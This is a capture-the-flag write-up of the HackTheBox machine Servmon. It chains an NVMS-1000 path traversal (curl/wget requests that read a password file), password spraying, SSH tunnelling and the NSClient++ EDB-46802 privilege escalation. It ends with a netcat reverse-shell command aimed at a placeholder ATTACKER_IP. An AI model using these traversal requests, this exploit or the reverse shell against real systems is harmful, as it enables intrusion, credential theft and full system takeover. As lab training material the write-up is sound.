Servmon writeup & walkthrough

Servmon is an easy HackTheBox Windows machine exploiting a path traversal in NVMS-1000 to leak credentials, then using NSClient++ for privilege escalation.

HTB: Servmon

Access Path

no access => nadine => SYSTEM

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Walkthrough: https://youtu.be/L576cQ3mQU4

Files & assets

What we start with: an NVMS-1000 web app on port 80 vulnerable to path traversal, and an FTP hint pointing at Nathan's Passwords.txt on the desktop.

# Provided / discovered:
# - web server (port 80) vulnerable to path traversal (NVMS-1000)
# - hint file (port 21): Users/Nathan/Desktop/Passwords.txt 

FTP / HTTP: retrieve hint files (path traversal)

NVMS-1000 path traversal lets us read arbitrary files. We pull Passwords.txt from Nathan's desktop to recover a list of candidate passwords.

# Example raw GETs observed from NVMS-1000 path traversal
# GET /../../../../../../../../../../../../windows/win.ini
# GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt

# Use curl to reproduce path traversal (replace $IP) or through burp
curl -s "http://$IP/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt" -o Passwords.txt
# or
wget -qO Passwords.txt "http://$IP/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt"

Credentials & notes

Password-spraying the recovered list against the users finds a hit for Nadine. We also note the NSClient++ web password stored on the box.

# sprayed with Nadine, got the pass.
# NSClient password found on box: Nadine@SERVMON C:\Program Files\NSClient++>nscp web -- password --display
# Current password: abc

SSH: initial access

Nadine's credentials work over SSH for an initial shell. The NSClient web UI on 8443 is bound to localhost, so we inspect nsclient.ini.

# SSH worked for Nadine
ssh Nadine@$IP

# If web UI on 8443 is localhost-only, confirm nsclient.ini
type nscleint.ini

Local port forwarding to reach NSClient web UI

Set up SSH local port forwards so the localhost-only NSClient web UI (8443) is reachable from the attacker machine.

# Create SSH tunnels to forward remote 127.0.0.1:8443 to local 8443
ssh -L 8443:127.0.0.1:8443 -L 1234:localhost:8080 Nadine@$IP -N

# On attacker machine, verify:
curl -vk https://127.0.0.1:8443/

Transfer netcat to target

Copy nc.exe to the target so the privesc exploit can call it for a SYSTEM reverse shell.

# From attacker:
scp nc.exe Nadine@$IP:"C:\Users\Nadine\nc.exe"

Pull exploit and run

NSClient++ 0.5.2.35 has an authenticated privilege-escalation (EDB-46802): it runs an external script as SYSTEM. We feed it our nc.exe command to get a SYSTEM shell.

# Clone or fetch exploit (example repo)
git clone https://github.com/strikoder/custom_pentest_scripts/blob/main/CVES/NSClient-0.5.2.35-Privilege-Escalation(EDB-46802).py

# Start listener on attacker:
nc -lvnp 1337

# Run exploit from attacker with command that will execute nc on target.
# Replace ATTACKER_IP, 1337, and PASSWORD with real values.
python3 NSClient-0.5.2.35-Privilege-Escalation\(EDB-46802\).py "C:\Users\Nadine\nc.exe ATTACKER_IP 1337 -e cmd.exe" https://127.0.0.1:8443 abc